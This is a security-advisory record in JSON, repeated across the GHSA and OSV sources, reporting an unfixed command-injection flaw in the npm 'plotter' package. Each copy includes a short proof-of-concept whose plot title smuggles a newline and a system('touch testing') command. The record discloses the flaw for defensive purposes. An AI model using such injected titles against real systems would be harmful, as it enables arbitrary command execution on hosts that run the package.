{"id":"GHSA-65xx-c85x-wg76","aliases":[],"status":"published","title":"Command Injection in plotter","description":"All versions of `plotter` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar plot = require('plotter').plot;\n\nconst title = 'Example \"\\nset title system(\"touch testing\")#';\n\nplot({\ndata: [ 3, 1, 2, 3, 4 ],\nfilename: 'output.pdf',\nstyle: 'linespoints',\ntitle: title,\nlogscale: true,\nxlabel: 'time',\nylabel: 'length of string',\nformat: 'pdf'\n});\n\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-77"],"published":"2020-09-04T17:20:52Z","modified":"2023-01-09T05:04:12Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"plotter","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"plotter","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}]}],"references":[{"url":"https://www.npmjs.com/advisories/1441","tags":["web"]},{"url":"https://github.com/advisories/GHSA-65xx-c85x-wg76"}],"sources":{"ghsa":[{"id":"GHSA-65xx-c85x-wg76","title":"Command Injection in plotter","description":"All versions of `plotter` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar plot = require('plotter').plot;\n\nconst title = 'Example \"\\nset title system(\"touch testing\")#';\n\nplot({\ndata: [ 3, 1, 2, 3, 4 ],\nfilename: 'output.pdf',\nstyle: 'linespoints',\ntitle: title,\nlogscale: true,\nxlabel: 'time',\nylabel: 'length of string',\nformat: 'pdf'\n});\n\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","status":"published","published":"2020-09-04T17:20:52Z","modified":"2023-01-09T05:04:12Z","cwes":["CWE-77"],"updated_at":"2026-11-02T14:36:08.863482Z"}],"osv":[{"id":"GHSA-65xx-c85x-wg76","title":"Command Injection in plotter","description":"All versions of `plotter` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar plot = require('plotter').plot;\n\nconst title = 'Example \"\\nset title system(\"touch testing\")#';\n\nplot({\ndata: [ 3, 1, 2, 3, 4 ],\nfilename: 'output.pdf',\nstyle: 'linespoints',\ntitle: title,\nlogscale: true,\nxlabel: 'time',\nylabel: 'length of string',\nformat: 'pdf'\n});\n\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","status":"published","published":"2020-09-04T17:20:52Z","modified":"2020-08-31T18:59:26Z","cwes":["CWE-77"],"updated_at":"2026-11-02T15:46:39.266402Z"}]}}
